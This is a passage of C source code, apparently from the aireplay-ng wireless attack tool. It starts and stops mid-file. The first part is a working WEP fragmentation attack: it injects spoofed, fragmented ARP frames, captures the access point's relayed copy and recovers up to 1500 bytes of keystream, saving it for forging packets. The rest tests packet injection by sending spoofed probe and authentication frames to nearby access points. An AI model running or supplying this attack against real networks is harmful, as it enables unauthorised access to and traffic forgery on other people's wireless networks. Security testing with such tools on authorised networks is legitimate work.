                z = ( ( packet[1] & 3 ) != 3 ) ? 24 : 30;
                if ( ( packet[0] & 0x80 ) == 0x80 ) /* QoS */
                    z+=2;

                if (packet[0] == 0xD4 )
                {
                    if (! memcmp(opt.r_smac, packet+4, 6)) //To our MAC
                    {
                        acksgot++;
                    }
                    continue;
                }

                if ((packet[0] & 0x08) && (( packet[1] & 0x40 ) == 0x40) ) //Is data frame && encrypted
                {
                    if ( (packet[1] & 2) )  //Is a FromDS packet
                    {
                        if (! memcmp(opt.r_dmac, packet+4, 6)) //To our MAC
                        {
                            if (! memcmp(opt.r_smac, packet+16, 6)) //From our MAC
                            {
                                if (caplen-z < 66)  //Is short enough
                                {
                                    //This is our relayed packet!
                                    PCT; printf("Got RELAYED packet!!\n");
                                    gotit = 1;
                                    isrelay = 1;
                                }
                            }
                        }
                    }
                }

                /* check if we got an deauthentication packet */

                if( packet[0] == 0xC0 && memcmp( packet+4, opt.r_smac, 6) == 0 )
                {
                    PCT; printf( "Got a deauthentication packet!\n" );
                    read_sleep( 5*1000000 ); //sleep 5 seconds and ignore all frames in this period
                }

                /* check if we got an disassociation packet */

                if( packet[0] == 0xA0 && memcmp( packet+4, opt.r_smac, 6) == 0 )
                {
                    PCT; printf( "Got a disassociation packet!\n" );
                    read_sleep( 5*1000000 ); //sleep 5 seconds and ignore all frames in this period
                }

                gettimeofday( &tv2, NULL );
                if (((tv2.tv_sec*1000000 - tv.tv_sec*1000000) + (tv2.tv_usec - tv.tv_usec)) > (100*1000) && acksgot >0 && acksgot < packets  )//wait 100ms for acks
                {
                    PCT; printf("Not enough acks, repeating...\n");
                    again = RETRY;
                    break;
                }

                if (((tv2.tv_sec*1000000 - tv.tv_sec*1000000) + (tv2.tv_usec - tv.tv_usec)) > (1500*1000) && !gotit) //wait 1500ms for an answer
                {
                    PCT; printf("No answer, repeating...\n");
                    round++;
                    again = RETRY;
                    if (round > 10)
                    {
                        PCT; printf("Still nothing, trying another packet...\n");
                        again = NEW_IV;
                    }
                    break;
                }
            }
        }

        if(again == NEW_IV) continue;

        make_arp_request(h80211, opt.f_bssid, opt.r_smac, opt.r_dmac, opt.r_sip, opt.r_dip, 60);
        if (caplen-z == 68-24)
        {
            //Thats the ARP packet!
//             PCT; printf("Thats our ARP packet!\n");
        }
        if (caplen-z == 71-24)
        {
            //Thats the LLC NULL packet!
//             PCT; printf("Thats our LLC Null packet!\n");
            memset(h80211+24, '\x00', 39);
        }

        if (! isrelay)
        {
            //Building expected cleartext
            uchar ct[4096] = "\xaa\xaa\x03\x00\x00\x00\x08\x06\x00\x01\x08\x00\x06\x04\x00\x02";
            //Ethernet & ARP header

            //Followed by the senders MAC and IP:
            memcpy(ct+16, packet+16, 6);
            memcpy(ct+22, opt.r_dip,  4);

            //And our own MAC and IP:
            memcpy(ct+26, opt.r_smac,   6);
            memcpy(ct+32, opt.r_sip,   4);

            //Calculating
            memcpy(prga, packet+z+4, 36);
            xor_keystream(prga, ct, 36);
        }
        else
        {
            memcpy(prga, packet+z+4, 36);
            xor_keystream(prga, h80211+24, 36);
        }

        memcpy(iv, packet+z, 4);
        round = 0;
        again = RETRY;
        while(again == RETRY)
        {
            again = 0;

            PCT; printf("Trying to get 384 bytes of a keystream\n");

            arplen=408;

            make_arp_request(h80211, opt.f_bssid, opt.r_smac, opt.r_dmac, opt.r_sip, opt.r_dip, arplen);
            if ((round % 2) == 1)
            {
                PCT; printf("Trying a LLC NULL packet\n");
                memset(h80211+24, '\x00', arplen+8);
                arplen+=32;
            }

            acksgot=0;
            packets=(arplen-24)/(32);
            if( (arplen-24)%(32) != 0 )
                packets++;

            send_fragments(h80211, arplen, iv, prga, 32, 0);
//            //Plus an ACK
//            send_packet(ack, 10);

            gettimeofday( &tv, NULL );

            gotit=0;
            while (!gotit)  //waiting for relayed packet
            {
                caplen = read_packet(packet, sizeof(packet), NULL);
                z = ( ( packet[1] & 3 ) != 3 ) ? 24 : 30;
                if ( ( packet[0] & 0x80 ) == 0x80 ) /* QoS */
                    z+=2;

                if (packet[0] == 0xD4 )
                {
                    if (! memcmp(opt.r_smac, packet+4, 6)) //To our MAC
                        acksgot++;
                    continue;
                }

                if ((packet[0] & 0x08) && (( packet[1] & 0x40 ) == 0x40) ) //Is data frame && encrypted
                {
                    if ( (packet[1] & 2) )  //Is a FromDS packet with valid IV
                    {
                        if (! memcmp(opt.r_dmac, packet+4, 6)) //To our MAC
                        {
                            if (! memcmp(opt.r_smac, packet+16, 6)) //From our MAC
                            {
                                if (caplen-z > 400-24 && caplen-z < 500-24)  //Is short enough
                                {
                                    //This is our relayed packet!
                                    PCT; printf("Got RELAYED packet!!\n");
                                    gotit = 1;
                                    isrelay = 1;
                                }
                            }
                        }
                    }
                }

                /* check if we got an deauthentication packet */

                if( packet[0] == 0xC0 && memcmp( packet+4, opt.r_smac, 6) == 0 )
                {
                    PCT; printf( "Got a deauthentication packet!\n" );
                    read_sleep( 5*1000000 ); //sleep 5 seconds and ignore all frames in this period
                }

                /* check if we got an disassociation packet */

                if( packet[0] == 0xA0 && memcmp( packet+4, opt.r_smac, 6) == 0 )
                {
                    PCT; printf( "Got a disassociation packet!\n" );
                    read_sleep( 5*1000000 ); //sleep 5 seconds and ignore all frames in this period
                }

                gettimeofday( &tv2, NULL );
                if (((tv2.tv_sec*1000000 - tv.tv_sec*1000000) + (tv2.tv_usec - tv.tv_usec)) > (100*1000) && acksgot >0 && acksgot < packets  )//wait 100ms for acks
                {
                    PCT; printf("Not enough acks, repeating...\n");
                    again = RETRY;
                    break;
                }

                if (((tv2.tv_sec*1000000 - tv.tv_sec*1000000) + (tv2.tv_usec - tv.tv_usec)) > (1500*1000) && !gotit) //wait 1500ms for an answer
                {
                    PCT; printf("No answer, repeating...\n");
                    round++;
                    again = RETRY;
                    if (round > 10)
                    {
                        PCT; printf("Still nothing, trying another packet...\n");
                        again = NEW_IV;
                    }
                    break;
                }
            }
        }

        if(again == NEW_IV) continue;

        make_arp_request(h80211, opt.f_bssid, opt.r_smac, opt.r_dmac, opt.r_sip, opt.r_dip, 408);
        if (caplen-z == 416-24)
        {
            //Thats the ARP packet!
//             PCT; printf("Thats our ARP packet!\n");
        }
        if (caplen-z == 448-24)
        {
            //Thats the LLC NULL packet!
//             PCT; printf("Thats our LLC Null packet!\n");
            memset(h80211+24, '\x00', 416);
        }

        memcpy(iv, packet+z, 4);
        memcpy(prga, packet+z+4, 384);
        xor_keystream(prga, h80211+24, 384);

        round = 0;
        again = RETRY;
        while(again == RETRY)
        {
            again = 0;

            PCT; printf("Trying to get 1500 bytes of a keystream\n");

            make_arp_request(h80211, opt.f_bssid, opt.r_smac, opt.r_dmac, opt.r_sip, opt.r_dip, 1500);
            arplen=1500;
            if ((round % 2) == 1)
            {
                PCT; printf("Trying a LLC NULL packet\n");
                memset(h80211+24, '\x00', 1508);
                arplen+=32;
            }

            acksgot=0;
            packets=(arplen-24)/(300);
            if( (arplen-24)%(300) != 0 )
                packets++;

            send_fragments(h80211, arplen, iv, prga, 300, 0);
//            //Plus an ACK
//            send_packet(ack, 10);

            gettimeofday( &tv, NULL );

            gotit=0;
            while (!gotit)  //waiting for relayed packet
            {
                caplen = read_packet(packet, sizeof(packet), NULL);
                z = ( ( packet[1] & 3 ) != 3 ) ? 24 : 30;
                if ( ( packet[0] & 0x80 ) == 0x80 ) /* QoS */
                    z+=2;

                if (packet[0] == 0xD4 )
                {
                    if (! memcmp(opt.r_smac, packet+4, 6)) //To our MAC
                        acksgot++;
                    continue;
                }

                if ((packet[0] & 0x08) && (( packet[1] & 0x40 ) == 0x40) ) //Is data frame && encrypted
                {
                    if ( (packet[1] & 2) )  //Is a FromDS packet with valid IV
                    {
                        if (! memcmp(opt.r_dmac, packet+4, 6)) //To our MAC
                        {
                            if (! memcmp(opt.r_smac, packet+16, 6)) //From our MAC
                            {
                                if (caplen-z > 1496-24)  //Is short enough
                                {
                                    //This is our relayed packet!
                                    PCT; printf("Got RELAYED packet!!\n");
                                    gotit = 1;
                                    isrelay = 1;
                                }
                            }
                        }
                    }
                }

                /* check if we got an deauthentication packet */

                if( packet[0] == 0xC0 && memcmp( packet+4, opt.r_smac, 6) == 0 )
                {
                    PCT; printf( "Got a deauthentication packet!\n" );
                    read_sleep( 5*1000000 ); //sleep 5 seconds and ignore all frames in this period
                }

                /* check if we got an disassociation packet */

                if( packet[0] == 0xA0 && memcmp( packet+4, opt.r_smac, 6) == 0 )
                {
                    PCT; printf( "Got a disassociation packet!\n" );
                    read_sleep( 5*1000000 ); //sleep 5 seconds and ignore all frames in this period
                }

                gettimeofday( &tv2, NULL );
                if (((tv2.tv_sec*1000000 - tv.tv_sec*1000000) + (tv2.tv_usec - tv.tv_usec)) > (100*1000) && acksgot >0 && acksgot < packets  )//wait 100ms for acks
                {
                    PCT; printf("Not enough acks, repeating...\n");
                    again = RETRY;
                    break;
                }

                if (((tv2.tv_sec*1000000 - tv.tv_sec*1000000) + (tv2.tv_usec - tv.tv_usec)) > (1500*1000) && !gotit) //wait 1500ms for an answer
                {
                    PCT; printf("No answer, repeating...\n");
                    round++;
                    again = RETRY;
                    if (round > 10)
                    {
                        printf("Still nothing, quitting with 384 bytes? [y/n] \n");
                        fflush( stdout );
                        ret=0;
                        while(!ret) ret = scanf( "%s", tmpbuf );

                        printf( "\n" );

                        if( tmpbuf[0] == 'y' || tmpbuf[0] == 'Y' )
                            again = ABORT;
                        else
                            again = NEW_IV;
                    }
                    break;
                }
            }
        }

        if(again == NEW_IV) continue;

        if(again == ABORT) length = 408;
        else length = 1500;

        make_arp_request(h80211, opt.f_bssid, opt.r_smac, opt.r_dmac, opt.r_sip, opt.r_dip, length);
        if (caplen == length+8+z)
        {
            //Thats the ARP packet!
//             PCT; printf("Thats our ARP packet!\n");
        }
        if (caplen == length+16+z)
        {
            //Thats the LLC NULL packet!
//             PCT; printf("Thats our LLC Null packet!\n");
            memset(h80211+24, '\x00', length+8);
        }

        if(again != ABORT)
        {
            memcpy(iv, packet+z, 4);
            memcpy(prga, packet+z+4, length);
            xor_keystream(prga, h80211+24, length);
        }

        lt = localtime( (const time_t *) &tv.tv_sec );

        memset( strbuf, 0, sizeof( strbuf ) );
        snprintf( strbuf,  sizeof( strbuf ) - 1,
                  "fragment-%02d%02d-%02d%02d%02d.xor",
                  lt->tm_mon + 1, lt->tm_mday,
                  lt->tm_hour, lt->tm_min, lt->tm_sec );
        save_prga(strbuf, iv, prga, length);

        printf( "Saving keystream in %s\n", strbuf );
        printf("Now you can build a packet with packetforge-ng out of that %d bytes keystream\n", length);

        done=1;

    }

    return( 0 );
}

int grab_essid(uchar* packet, int len)
{
    int i=0, j=0, pos=0, tagtype=0, taglen=0, chan=0;
    uchar bssid[6];

    memcpy(bssid, packet+16, 6);
    taglen = 22;    //initial value to get the fixed tags parsing started
    taglen+= 12;    //skip fixed tags in frames
    do
    {
        pos    += taglen + 2;
        tagtype = packet[pos];
        taglen  = packet[pos+1];
    } while(tagtype != 3 && pos < len-2);

    if(tagtype != 3) return -1;
    if(taglen != 1) return -1;
    if(pos+2+taglen > len) return -1;

    chan = packet[pos+2];

    pos=0;

    taglen = 22;    //initial value to get the fixed tags parsing started
    taglen+= 12;    //skip fixed tags in frames
    do
    {
        pos    += taglen + 2;
        tagtype = packet[pos];
        taglen  = packet[pos+1];
    } while(tagtype != 0 && pos < len-2);

    if(tagtype != 0) return -1;
    if(taglen > 250) taglen = 250;
    if(pos+2+taglen > len) return -1;

    for(i=0; i<20; i++)
    {
        if( ap[i].set)
        {
            if( memcmp(bssid, ap[i].bssid, 6) == 0 )    //got it already
            {
                if(packet[0] == 0x50 && !ap[i].found)
                {
                    ap[i].found++;
                }
                if(ap[i].chan == 0) ap[i].chan=chan;
                break;
            }
        }
        if(ap[i].set == 0)
        {
            for(j=0; j<taglen; j++)
            {
                if(packet[pos+2+j] < 32 || packet[pos+2+j] > 127)
                {
                    return -1;
                }
            }

            ap[i].set = 1;
            ap[i].len = taglen;
            memcpy(ap[i].essid, packet+pos+2, taglen);
            ap[i].essid[taglen] = '\0';
            memcpy(ap[i].bssid, bssid, 6);
            ap[i].chan = chan;
            if(packet[0] == 0x50) ap[i].found++;
            return 0;
        }
    }
    return -1;
}

static int get_ip_port(char *iface, char *ip, const int ip_size)
{
	char *host;
	char *ptr;
	int port = -1;
	struct in_addr addr;

	host = strdup(iface);
	if (!host)
		return -1;

	ptr = strchr(host, ':');
	if (!ptr)
		goto out;

	*ptr++ = 0;

	if (!inet_aton(host, (struct in_addr *)&addr))
		goto out; /* XXX resolve hostname */

	if(strlen(host) > 15)
        {
            port = -1;
            goto out;
        }
	strncpy(ip, host, ip_size);
	port = atoi(ptr);
        if(port <= 0) port = -1;

out:
	free(host);
	return port;
}

void dump_packet(unsigned char* packet, int len)
{
    int i=0;

    for(i=0; i<len; i++)
    {
        if(i>0 && i%4 == 0)printf(" ");
        if(i>0 && i%16 == 0)printf("\n");
        printf("%02X ", packet[i]);
    }
    printf("\n\n");
}

struct net_hdr {
	uint8_t		nh_type;
	uint32_t	nh_len;
	uint8_t		nh_data[0];
} __packed;

int tcp_test(const char* ip_str, const short port)
{
    int sock, i;
    struct sockaddr_in s_in;
    int packetsize = 1024;
    unsigned char packet[packetsize];
    struct timeval tv, tv2, tv3;
    int caplen = 0;
    int times[REQUESTS];
    int min, avg, max, len;
    struct net_hdr nh;

    tv3.tv_sec=0;
    tv3.tv_usec=1;

    s_in.sin_family = PF_INET;
    s_in.sin_port = htons(port);
    if (!inet_aton(ip_str, &s_in.sin_addr))
            return -1;

    if ((sock = socket(s_in.sin_family, SOCK_STREAM, IPPROTO_TCP)) == -1)
            return -1;

    /* avoid blocking on reading the socket */
    if( fcntl( sock, F_SETFL, O_NONBLOCK ) < 0 )
    {
        perror( "fcntl(O_NONBLOCK) failed" );
        return( 1 );
    }

    gettimeofday( &tv, NULL );

    while (1)  //waiting for relayed packet
    {
        if (connect(sock, (struct sockaddr*) &s_in, sizeof(s_in)) == -1)
        {
            if(errno != EINPROGRESS && errno != EALREADY)
            {
                perror("connect");
                close(sock);

                printf("Failed to connect\n");

                return -1;
            }
        }
        else
        {
            gettimeofday( &tv2, NULL );
            break;
        }

        gettimeofday( &tv2, NULL );
        //wait 3000ms for a successful connect
        if (((tv2.tv_sec*1000000 - tv.tv_sec*1000000) + (tv2.tv_usec - tv.tv_usec)) > (3000*1000))
        {
            printf("Connection timed out\n");
            close(sock);
            return(-1);
        }
        usleep(10);
    }

    PCT; printf("TCP connection successful\n");

    //trying to identify airserv-ng
    memset(&nh, 0, sizeof(nh));
//     command: GET_CHAN
    nh.nh_type	= 2;
    nh.nh_len	= htonl(0);

    if (send(sock, &nh, sizeof(nh), 0) != sizeof(nh))
    {
        perror("send");
        return -1;
    }

    gettimeofday( &tv, NULL );
    i=0;

    while (1)  //waiting for GET_CHAN answer
    {
        caplen = read(sock, &nh, sizeof(nh));

        if(caplen == -1)
        {
            if( errno != EAGAIN )
            {
                perror("read");
                return -1;
            }
        }

        if( (unsigned)caplen == sizeof(nh))
        {
            len = ntohl(nh.nh_len);
            if( nh.nh_type == 1 && i==0 )
            {
                i=1;
                caplen = read(sock, packet, len);
                if(caplen == len)
                {
                    i=2;
                    break;
                }
                else
                {
                    i=0;
                }
            }
            else
            {
                caplen = read(sock, packet, len);
            }
        }

        gettimeofday( &tv2, NULL );
        //wait 1000ms for an answer
        if (((tv2.tv_sec*1000000 - tv.tv_sec*1000000) + (tv2.tv_usec - tv.tv_usec)) > (1000*1000))
        {
            break;
        }
        if(caplen == -1)
            usleep(10);
    }

    if(i==2)
    {
        PCT; printf("airserv-ng found\n");
    }
    else
    {
        PCT; printf("airserv-ng NOT found\n");
    }

    close(sock);

    for(i=0; i<REQUESTS; i++)
    {
        if ((sock = socket(s_in.sin_family, SOCK_STREAM, IPPROTO_TCP)) == -1)
                return -1;

        /* avoid blocking on reading the socket */
        if( fcntl( sock, F_SETFL, O_NONBLOCK ) < 0 )
        {
            perror( "fcntl(O_NONBLOCK) failed" );
            return( 1 );
        }

        usleep(1000);

        gettimeofday( &tv, NULL );

        while (1)  //waiting for relayed packet
        {
            if (connect(sock, (struct sockaddr*) &s_in, sizeof(s_in)) == -1)
            {
                if(errno != EINPROGRESS && errno != EALREADY)
                {
                    perror("connect");
                    close(sock);

                    printf("Failed to connect\n");

                    return -1;
                }
            }
            else
            {
                gettimeofday( &tv2, NULL );
                break;
            }

            gettimeofday( &tv2, NULL );
            //wait 1000ms for a successful connect
            if (((tv2.tv_sec*1000000 - tv.tv_sec*1000000) + (tv2.tv_usec - tv.tv_usec)) > (1000*1000))
            {
                break;
            }
            //simple "high-precision" usleep
            select(1, NULL, NULL, NULL, &tv3);
        }
        times[i] = ((tv2.tv_sec*1000000 - tv.tv_sec*1000000) + (tv2.tv_usec - tv.tv_usec));
        printf( "\r%d/%d\r", i, REQUESTS);
        fflush(stdout);
        close(sock);
    }

    min = INT_MAX;
    avg = 0;
    max = 0;

    for(i=0; i<REQUESTS; i++)
    {
        if(times[i] < min) min = times[i];
        if(times[i] > max) max = times[i];
        avg += times[i];
    }
    avg /= REQUESTS;

    PCT; printf("ping %s:%d (min/avg/max): %.3fms/%.3fms/%.3fms\n", ip_str, port, min/1000.0, avg/1000.0, max/1000.0);

    return 0;
}

int do_attack_test()
{
    uchar packet[4096];
    struct timeval tv, tv2, tv3;
    int len=0, i=0, j=0, k=0;
    int gotit=0, answers=0, found=0;
    int caplen=0, essidlen=0;
    unsigned int min, avg, max;
    int ret=0;
    float avg2;
    struct rx_info ri;
    int atime=200;  //time in ms to wait for answer packet (needs to be higher for airserv)
    unsigned char nulldata[1024];

    if(opt.port_out > 0)
    {
        atime += 200;
        PCT; printf("Testing connection to injection device %s\n", opt.iface_out);
        ret = tcp_test(opt.ip_out, opt.port_out);
        if(ret != 0)
        {
            return( 1 );
        }
        printf("\n");

        /* open the replay interface */
        _wi_out = wi_open(opt.iface_out);
        if (!_wi_out)
            return 1;
        printf("\n");
        dev.fd_out = wi_fd(_wi_out);
        wi_get_mac(_wi_out, dev.mac_out);
        if(opt.s_face == NULL)
        {
            _wi_in = _wi_out;
            dev.fd_in = dev.fd_out;

            /* XXX */
            dev.arptype_in = dev.arptype_out;
            wi_get_mac(_wi_in, dev.mac_in);
        }
    }

    if(opt.s_face && opt.port_in > 0)
    {
        atime += 200;
        PCT; printf("Testing connection to capture device %s\n", opt.s_face);
        ret = tcp_test(opt.ip_in, opt.port_in);
        if(ret != 0)
        {
            return( 1 );
        }
        printf("\n");

        /* open the packet source */
        _wi_in = wi_open(opt.s_face);
        if (!_wi_in)
            return 1;
        dev.fd_in = wi_fd(_wi_in);
        wi_get_mac(_wi_in, dev.mac_in);
        printf("\n");
    }
    else if(opt.s_face && opt.port_in <= 0)
    {
        _wi_in = wi_open(opt.s_face);
        if (!_wi_in)
            return 1;
        dev.fd_in = wi_fd(_wi_in);
        wi_get_mac(_wi_in, dev.mac_in);
        printf("\n");
    }

    if(opt.port_in <= 0)
    {
        /* avoid blocking on reading the socket */
        if( fcntl( dev.fd_in, F_SETFL, O_NONBLOCK ) < 0 )
        {
            perror( "fcntl(O_NONBLOCK) failed" );
            return( 1 );
        }
    }

    if(getnet(NULL, 0, 0) != 0)
        return 1;

    srand( time( NULL ) );

    memset(ap, '\0', 20*sizeof(struct APt));

    essidlen = strlen(opt.r_essid);
    if( essidlen > 250) essidlen = 250;

    if( essidlen > 0 )
    {
        ap[0].set = 1;
        ap[0].found = 0;
        ap[0].len = essidlen;
        memcpy(ap[0].essid, opt.r_essid, essidlen);
        ap[0].essid[essidlen] = '\0';
        memcpy(ap[0].bssid, opt.r_bssid, 6);
        found++;
    }

    if(opt.bittest)
        set_bitrate(_wi_out, RATE_1M);

    PCT; printf("Trying broadcast probe requests...\n");

    memcpy(h80211, PROBE_REQ, 24);

    len = 24;

    h80211[24] = 0x00;      //ESSID Tag Number
    h80211[25] = 0x00;      //ESSID Tag Length

    len += 2;

    memcpy(h80211+len, RATES, 16);

    len += 16;

    gotit=0;
    answers=0;
    for(i=0; i<3; i++)
    {
        /*
            random source so we can identify our packets
        */
        opt.r_smac[0] = 0x00;
        opt.r_smac[1] = rand() & 0xFF;
        opt.r_smac[2] = rand() & 0xFF;
        opt.r_smac[3] = rand() & 0xFF;
        opt.r_smac[4] = rand() & 0xFF;
        opt.r_smac[5] = rand() & 0xFF;

        memcpy(h80211+10, opt.r_smac, 6);

        send_packet(h80211, len);

        gettimeofday( &tv, NULL );

        while (1)  //waiting for relayed packet
        {
            caplen = read_packet(packet, sizeof(packet), &ri);

            if (packet[0] == 0x50 ) //Is probe response
            {
                if (! memcmp(opt.r_smac, packet+4, 6)) //To our MAC
                {
                    if(grab_essid(packet, caplen) == 0 && (!memcmp(opt.r_bssid, NULL_MAC, 6)))
                    {
                        found++;
                    }
                    if(!answers)
                    {
                        PCT; printf("Injection is working!\n");
                        if(opt.fast) return 0;
                        gotit=1;
                        answers++;
                    }
                }
            }

            if (packet[0] == 0x80 ) //Is beacon frame
            {
                if(grab_essid(packet, caplen) == 0 && (!memcmp(opt.r_bssid, NULL_MAC, 6)))
                {
                    found++;
                }
            }

            gettimeofday( &tv2, NULL );
            if (((tv2.tv_sec*1000000 - tv.tv_sec*1000000) + (tv2.tv_usec - tv.tv_usec)) > (3*atime*1000)) //wait 'atime'ms for an answer
            {
                break;
            }
        }
    }
    if(answers == 0)
    {
        PCT; printf("No Answer...\n");
    }

    PCT; printf("Found %d AP%c\n", found, ((found == 1) ? ' ' : 's' ) );

    if(found > 0)
    {
        printf("\n");
        PCT; printf("Trying directed probe requests...\n");
    }

    for(i=0; i<found; i++)
    {
        if(wi_get_channel(_wi_out) != ap[i].chan)
        {
            wi_set_channel(_wi_out, ap[i].chan);
        }

        if(wi_get_channel(_wi_in) != ap[i].chan)
        {
            wi_set_channel(_wi_in, ap[i].chan);
        }

        PCT; printf("%02X:%02X:%02X:%02X:%02X:%02X - channel: %d - \'%s\'\n", ap[i].bssid[0], ap[i].bssid[1],
                    ap[i].bssid[2], ap[i].bssid[3], ap[i].bssid[4], ap[i].bssid[5], ap[i].chan, ap[i].essid);

        ap[i].found=0;
        min = INT_MAX;
        max = 0;
        avg = 0;
        avg2 = 0;

        memcpy(h80211, PROBE_REQ, 24);

        len = 24;

        h80211[24] = 0x00;      //ESSID Tag Number
        h80211[25] = ap[i].len; //ESSID Tag Length
        memcpy(h80211+len+2, ap[i].essid, ap[i].len);

        len += ap[i].len+2;

        memcpy(h80211+len, RATES, 16);

        len += 16;

        for(j=0; j<REQUESTS; j++)
        {
            /*
                random source so we can identify our packets
            */
            opt.r_smac[0] = 0x00;
            opt.r_smac[1] = rand() & 0xFF;
            opt.r_smac[2] = rand() & 0xFF;
            opt.r_smac[3] = rand() & 0xFF;
            opt.r_smac[4] = rand() & 0xFF;
            opt.r_smac[5] = rand() & 0xFF;

            //build/send probe request
            memcpy(h80211+10, opt.r_smac, 6);

            send_packet(h80211, len);
            usleep(10);

            //build/send request-to-send
            memcpy(nulldata, RTS, 16);
            memcpy(nulldata+4, ap[i].bssid, 6);
            memcpy(nulldata+10, opt.r_smac, 6);

            send_packet(nulldata, 16);
            usleep(10);

            //build/send null data packet
            memcpy(nulldata, NULL_DATA, 24);
            memcpy(nulldata+4, ap[i].bssid, 6);
            memcpy(nulldata+10, opt.r_smac, 6);
            memcpy(nulldata+16, ap[i].bssid, 6);

            send_packet(nulldata, 24);
            usleep(10);

            //build/send auth request packet
            memcpy(nulldata, AUTH_REQ, 30);
            memcpy(nulldata+4, ap[i].bssid, 6);
            memcpy(nulldata+10, opt.r_smac, 6);
            memcpy(nulldata+16, ap[i].bssid, 6);

            send_packet(nulldata, 30);

            //continue
            gettimeofday( &tv, NULL );

            printf( "\r%2d/%2d: %3d%%\r", ap[i].found, j+1, ((ap[i].found*100)/(j+1)));
            fflush(stdout);
            while (1)  //waiting for relayed packet
            {
                caplen = read_packet(packet, sizeof(packet), &ri);

                if (packet[0] == 0x50 ) //Is probe response
                {
                    if (! memcmp(opt.r_smac, packet+4, 6)) //To our MAC
                    {
                        if(! memcmp(ap[i].bssid, packet+16, 6)) //From the mentioned AP
                        {
                            gettimeofday( &tv3, NULL);
                            ap[i].ping[j] = ((tv3.tv_sec*1000000 - tv.tv_sec*1000000) + (tv3.tv_usec - tv.tv_usec));
                            if(!answers)
                            {
                                if(opt.fast)
                                {
                                    PCT; printf("Injection is working!\n\n");
                                    return 0;
                                }
                                answers++;
                            }
                            ap[i].found++;
                            if((signed)ri.ri_power > -200)
                                ap[i].pwr[j] = (signed)ri.ri_power;
                            break;
                        }
                    }
                }

                if (packet[0] == 0xC4 ) //Is clear-to-send
                {
                    if (! memcmp(opt.r_smac, packet+4, 6)) //To our MAC
                    {
                        gettimeofday( &tv3, NULL);
                        ap[i].ping[j] = ((tv3.tv_sec*1000000 - tv.tv_sec*1000000) + (tv3.tv_usec - tv.tv_usec));
                        if(!answers)
                        {
                            if(opt.fast)
                            {
                                PCT; printf("Injection is working!\n\n");
                                return 0;
                            }
                            answers++;
                        }
                        ap[i].found++;
                        if((signed)ri.ri_power > -200)
                            ap[i].pwr[j] = (signed)ri.ri_power;
                        break;
                    }
                }

                if (packet[0] == 0xD4 ) //Is ack
                {
                    if (! memcmp(opt.r_smac, packet+4, 6)) //To our MAC
                    {
                        gettimeofday( &tv3, NULL);
                        ap[i].ping[j] = ((tv3.tv_sec*1000000 - tv.tv_sec*1000000) + (tv3.tv_usec - tv.tv_usec));
                        if(!answers)
                        {
                            if(opt.fast)
                            {
                                PCT; printf("Injection is working!\n\n");
                                return 0;
                            }
                            answers++;
                        }
                        ap[i].found++;
                        if((signed)ri.ri_power > -200)
                            ap[i].pwr[j] = (signed)ri.ri_power;
                        break;
                    }
                }

                if (packet[0] == 0xB0 ) //Is auth response
                {
                    if (! memcmp(opt.r_smac, packet+4, 6)) //To our MAC
                    {
                        if (! memcmp(packet+10, packet+16, 6)) //From BSS ID
                        {
                            gettimeofday( &tv3, NULL);
                            ap[i].ping[j] = ((tv3.tv_sec*1000000 - tv.tv_sec*1000000) + (tv3.tv_usec - tv.tv_usec));
                            if(!answers)
                            {
                                if(opt.fast)
                                {
                                    PCT; printf("Injection is working!\n\n");
                                    return 0;
                                }
                                answers++;
                            }
                            ap[i].found++;
                            if((signed)ri.ri_power > -200)
                                ap[i].pwr[j] = (signed)ri.ri_power;
                            break;
                        }
                    }
                }

                gettimeofday( &tv2, NULL );
                if (((tv2.tv_sec*1000000 - tv.tv_sec*1000000) + (tv2.tv_usec - tv.tv_usec)) > (atime*1000)) //wait 'atime'ms for an answer
                {
                    break;
                }
                usleep(10);
            }
            printf( "\r%2d/%2d: %3d%%\r", ap[i].found, j+1, ((ap[i].found*100)/(j+1)));
            fflush(stdout);
        }
        for(j=0; j<REQUESTS; j++)
        {
            if(ap[i].ping[j] > 0)
            {
                if(ap[i].ping[j] > max) max = ap[i].ping[j];
                if(ap[i].ping[j] < min) min = ap[i].ping[j];
                avg += ap[i].ping[j];
                avg2 += ap[i].pwr[j];
            }
        }
        if(ap[i].found > 0)
        {
            avg /= ap[i].found;
            avg2 /= ap[i].found;
            PCT; printf("Ping (min/avg/max): %.3fms/%.3fms/%.3fms Power: %.2f\n", (min/1000.0), (avg/1000.0), (max/1000.0), avg2);
        }
        PCT; printf("%2d/%2d: %3d%%\n\n", ap[i].found, REQUESTS, ((ap[i].found*100)/REQUESTS));

        if(!gotit && answers)
        {
            PCT; printf("Injection is working!\n\n");
            gotit=1;
        }
    }

    if(opt.bittest)
    {
        if(found > 0)
        {
            PCT; printf("Trying directed probe requests for all bitrates...\n");
        }

        for(i=0; i<found; i++)
        {
            if(ap[i].found <= 0)
                continue;
            printf("\n");
            PCT; printf("%02X:%02X:%02X:%02X:%02X:%02X - channel: %d - \'%s\'\n", ap[i].bssid[0], ap[i].bssid[1],
                        ap[i].bssid[2], ap[i].bssid[3], ap[i].bssid[4], ap[i].bssid[5], ap[i].chan, ap[i].essid);

            min = INT_MAX;
            max = 0;
            avg = 0;

            memcpy(h80211, PROBE_REQ, 24);

            len = 24;

            h80211[24] = 0x00;      //ESSID Tag Number
            h80211[25] = ap[i].len; //ESSID Tag Length
            memcpy(h80211+len+2, ap[i].essid, ap[i].len);

            len += ap[i].len+2;

            memcpy(h80211+len, RATES, 16);

            len += 16;

            for(k=0; k<RATE_NUM; k++)
            {
                ap[i].found=0;
                if(set_bitrate(_wi_out, bitrates[k]))
                    continue;


                avg2 = 0;
                memset(ap[i].pwr, 0, REQUESTS*sizeof(unsigned int));

                for(j=0; j<REQUESTS; j++)
                {
                    /*
                        random source so we can identify our packets
                    */
                    opt.r_smac[0] = 0x00;
                    opt.r_smac[1] = rand() & 0xFF;
                    opt.r_smac[2] = rand() & 0xFF;
                    opt.r_smac[3] = rand() & 0xFF;
                    opt.r_smac[4] = rand() & 0xFF;
                    opt.r_smac[5] = rand() & 0xFF;

                    memcpy(h80211+10, opt.r_smac, 6);

                    send_packet(h80211, len);

                    gettimeofday( &tv, NULL );

                    printf( "\r%2d/%2d: %3d%%\r", ap[i].found, j+1, ((ap[i].found*100)/(j+1)));
                    fflush(stdout);
                    while (1)  //waiting for relayed packet
                    {
                        caplen = read_packet(packet, sizeof(packet), &ri);

                        if (packet[0] == 0x50 ) //Is probe response
                        {
                            if (! memcmp(opt.r_smac, packet+4, 6)) //To our MAC
                            {
                                if(! memcmp(ap[i].bssid, packet+16, 6)) //From the mentioned AP
                                {
                                    if(!answers)
                                    {
                                        answers++;
                                    }
                                    ap[i].found++;
                                    if((signed)ri.ri_power > -200)
